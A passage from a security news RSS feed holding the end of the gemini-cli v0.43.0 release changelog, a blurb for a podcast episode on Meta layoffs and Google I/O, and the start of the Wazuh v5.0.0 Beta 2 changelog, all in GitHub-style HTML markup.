<li>revert <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/google-gemini/gemini-cli/commit/6b9b778d821728427eea07b1b97ba07378137d0b/hovercard" href="https://github.com/google-gemini/gemini-cli/commit/6b9b778d821728427eea07b1b97ba07378137d0b"><tt>6b9b778</tt></a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/danielweis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/danielweis">@danielweis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4424159991" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26893" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26893/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26893">#26893</a></li>
<li>Fix/vscode run current file ts by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Neil-N4/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Neil-N4">@Neil-N4</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4092564149" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/22894" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/22894/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/22894">#22894</a></li>
<li>Allow Enter to select session while in search mode in /resume by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/f-pieri/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/f-pieri">@f-pieri</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4037284096" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/21523" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/21523/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/21523">#21523</a></li>
<li>fix(core): ignore .pak and .rpa game archive formats by default by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Eswar809/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Eswar809">@Eswar809</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4423532600" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26884" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26884/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26884">#26884</a></li>
<li>fix(cli): enable adk non-interactive session by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adamfweidman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adamfweidman">@adamfweidman</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4424557177" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26895" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26895/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26895">#26895</a></li>
<li>fix(cli): restore resume for legacy sessions by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/KurodaKayn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/KurodaKayn">@KurodaKayn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4390664039" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26577" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26577/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26577">#26577</a></li>
<li>fix: respect explicit model selection after Flash quota exhaustion (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4414092538" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26759" data-hovercard-type="issue" data-hovercard-url="/google-gemini/gemini-cli/issues/26759/hovercard" href="https://github.com/google-gemini/gemini-cli/issues/26759">#26759</a>) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cocosheng-g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cocosheng-g">@cocosheng-g</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4422425501" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26872" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26872/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26872">#26872</a></li>
<li>feat(context): Introduce adaptive token calculator to more accurately calculate content sizes. by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshualitt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshualitt">@joshualitt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4423587382" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26888" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26888/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26888">#26888</a></li>
<li>chore: update checkout action configuration in workflows by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galz10/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galz10">@galz10</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4424822043" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26897" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26897/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26897">#26897</a></li>
<li>fix (telemetry): inject quota_project_id to prevent fallback to default oauth client by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TNTCompany/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TNTCompany">@TNTCompany</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4406204191" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26698" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26698/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26698">#26698</a></li>
<li>Exclude extension context from skill extraction agent by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SandyTao520/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SandyTao520">@SandyTao520</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4423158298" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26879" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26879/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26879">#26879</a></li>
<li>Enable NumericalRouter when using dynamic model configs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kevinjwang1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kevinjwang1">@kevinjwang1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4431348708" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26929" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26929/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26929">#26929</a></li>
<li>ci: actively triage missing priority labels and intelligently clean up conflicting labels by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cocosheng-g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cocosheng-g">@cocosheng-g</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4421696362" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26865" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26865/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26865">#26865</a></li>
<li>refactor(core): introduce SubagentState enum for progress by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adamfweidman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adamfweidman">@adamfweidman</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4431524662" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26934" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26934/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26934">#26934</a></li>
<li>fix(ci): replace brittle --no-tag with explicit staging-tmp tag by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/scidomino/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/scidomino">@scidomino</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4432247229" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26940" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26940/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26940">#26940</a></li>
<li>Incremental refactor repo agent towards skills-based composition by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gundermanc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gundermanc">@gundermanc</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4409975491" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26717" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26717/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26717">#26717</a></li>
<li>fix(ui): fixed line wrap padding for selection lists by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/devr0306/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/devr0306">@devr0306</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4432422069" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26944" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26944/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26944">#26944</a></li>
<li>fix(core): update read_file schema for v1 compatibility (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4066093012" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/22183" data-hovercard-type="issue" data-hovercard-url="/google-gemini/gemini-cli/issues/22183/hovercard" href="https://github.com/google-gemini/gemini-cli/issues/22183">#22183</a>) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cocosheng-g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cocosheng-g">@cocosheng-g</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4430855512" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26922" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26922/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26922">#26922</a></li>
<li>fix(ci): configure git remote with token for authentication by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/scidomino/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/scidomino">@scidomino</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4432707686" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26949" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26949/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26949">#26949</a></li>
<li>fix(patch): cherry-pick <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/google-gemini/gemini-cli/commit/85566a73f60b28d0a9a3e74e76b26cd76317793b/hovercard" href="https://github.com/google-gemini/gemini-cli/commit/85566a73f60b28d0a9a3e74e76b26cd76317793b"><tt>85566a7</tt></a> to release/v0.43.0-preview.0-pr-27073 [CONFLICTS] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4479609136" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/27256" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/27256/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/27256">#27256</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/himanshu748/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/himanshu748">@himanshu748</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3973696331" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/19881" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/19881/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/19881">#19881</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kkartik14/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kkartik14">@Kkartik14</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331868914" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26014" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26014/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26014">#26014</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cvan20191/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cvan20191">@cvan20191</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355374642" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26249" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26249/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26249">#26249</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RhysSullivan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RhysSullivan">@RhysSullivan</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4389539817" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26571" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26571/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26571">#26571</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Br1an67/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Br1an67">@Br1an67</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4099397262" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/23069" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/23069/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/23069">#23069</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/danielmundi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/danielmundi">@danielmundi</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4360179978" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26274" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26274/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26274">#26274</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/suhaan-24/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/suhaan-24">@suhaan-24</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3974310806" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/19898" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/19898/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/19898">#19898</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Neil-N4/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Neil-N4">@Neil-N4</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4092564149" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/22894" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/22894/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/22894">#22894</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/f-pieri/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/f-pieri">@f-pieri</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4037284096" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/21523" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/21523/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/21523">#21523</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Eswar809/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Eswar809">@Eswar809</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4423532600" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26884" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26884/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26884">#26884</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/KurodaKayn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/KurodaKayn">@KurodaKayn</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4390664039" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26577" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26577/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26577">#26577</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TNTCompany/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TNTCompany">@TNTCompany</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4406204191" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26698" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26698/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26698">#26698</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google-gemini/gemini-cli/compare/v0.42.0...v0.43.0"><tt>v0.42.0...v0.43.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Meta Is in Crisis, Google Search’s Makeover, and AI Gets Booed by Graduates]]></title>
<description><![CDATA[In this episode of Uncanny Valley, we unpack the mass layoffs at Meta, big announcements at Google I/O, and the latest backlash against AI.]]></description>
<link>https://tsecurity.de/de/3537764/it-nachrichten/meta-is-in-crisis-google-searchs-makeover-and-ai-gets-booed-by-graduates/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3537764/it-nachrichten/meta-is-in-crisis-google-searchs-makeover-and-ai-gets-booed-by-graduates/</guid>
<pubDate>Thu, 21 May 2026 23:01:10 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In this episode of Uncanny Valley, we unpack the mass layoffs at Meta, big announcements at Google I/O, and the latest backlash against AI.]]></content:encoded>
</item>
<item>
<title><![CDATA[Wazuh v5.0.0 Beta 2]]></title>
<description><![CDATA[What's Changed

Coding style clang format by @jotacarma90 in #35051
Dovecot decoders don't match correctly by @hossam1522 in #35089
Fixing CIS 35675 and 35689 rules bug by @hossam1522 in #35088
Improve buffer handling in regex match processing by @vikman90 in #35106
Fix empty-message failure in W...]]></description>
<link>https://tsecurity.de/de/3536717/it-security-tools/wazuh-v500-beta-2/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3536717/it-security-tools/wazuh-v500-beta-2/</guid>
<pubDate>Thu, 21 May 2026 16:21:36 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>Coding style clang format by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4100656801" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35051" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35051/hovercard" href="https://github.com/wazuh/wazuh/pull/35051">#35051</a></li>
<li>Dovecot decoders don't match correctly by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hossam1522/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hossam1522">@hossam1522</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4119628979" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35089" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35089/hovercard" href="https://github.com/wazuh/wazuh/pull/35089">#35089</a></li>
<li>Fixing CIS 35675 and 35689 rules bug by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hossam1522/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hossam1522">@hossam1522</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4119588292" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35088" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35088/hovercard" href="https://github.com/wazuh/wazuh/pull/35088">#35088</a></li>
<li>Improve buffer handling in regex match processing by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4129178048" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35106" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35106/hovercard" href="https://github.com/wazuh/wazuh/pull/35106">#35106</a></li>
<li>Fix empty-message failure in Windows enrollment integration test by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hernanvalenzuela/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hernanvalenzuela">@hernanvalenzuela</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4109323061" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35078" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35078/hovercard" href="https://github.com/wazuh/wazuh/pull/35078">#35078</a></li>
<li>Use daily marker for GuardDuty log collector by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anromerom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anromerom">@anromerom</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4131022761" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35110" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35110/hovercard" href="https://github.com/wazuh/wazuh/pull/35110">#35110</a></li>
<li>Fix rate limit handling for /events endpoint by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/javiersanchz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/javiersanchz">@javiersanchz</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4108679940" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35077" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35077/hovercard" href="https://github.com/wazuh/wazuh/pull/35077">#35077</a></li>
<li>Upload Size Limit Config Mismatch - Implementation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jnasselle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jnasselle">@jnasselle</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4144935759" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35141" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35141/hovercard" href="https://github.com/wazuh/wazuh/pull/35141">#35141</a></li>
<li>Update embedded Python and dependencies by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/javiersanchz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/javiersanchz">@javiersanchz</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4143355910" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35135" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35135/hovercard" href="https://github.com/wazuh/wazuh/pull/35135">#35135</a></li>
<li>Escape document id in delete bulk operations by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ignaciogalle12git/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ignaciogalle12git">@ignaciogalle12git</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4168723202" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35174" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35174/hovercard" href="https://github.com/wazuh/wazuh/pull/35174">#35174</a></li>
<li>Add length validation after decompression in ReadSecMSG by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MiguelazoDS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MiguelazoDS">@MiguelazoDS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4174203801" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35193" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35193/hovercard" href="https://github.com/wazuh/wazuh/pull/35193">#35193</a></li>
<li>Fix uncontroller memory allocation in cluster by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/FrancoRivero2025/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/FrancoRivero2025">@FrancoRivero2025</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4157622393" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35173" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35173/hovercard" href="https://github.com/wazuh/wazuh/pull/35173">#35173</a></li>
<li>Limit nested JSON depth in API requests - Implementation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jnasselle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jnasselle">@jnasselle</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4181332316" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35224" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35224/hovercard" href="https://github.com/wazuh/wazuh/pull/35224">#35224</a></li>
<li>Fix clang-format version resolution in CI by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4171147358" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35180" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35180/hovercard" href="https://github.com/wazuh/wazuh/pull/35180">#35180</a></li>
<li>Align plugin decoder arguments with existing call path by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/matigarciadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/matigarciadev">@matigarciadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4169835469" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35176" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35176/hovercard" href="https://github.com/wazuh/wazuh/pull/35176">#35176</a></li>
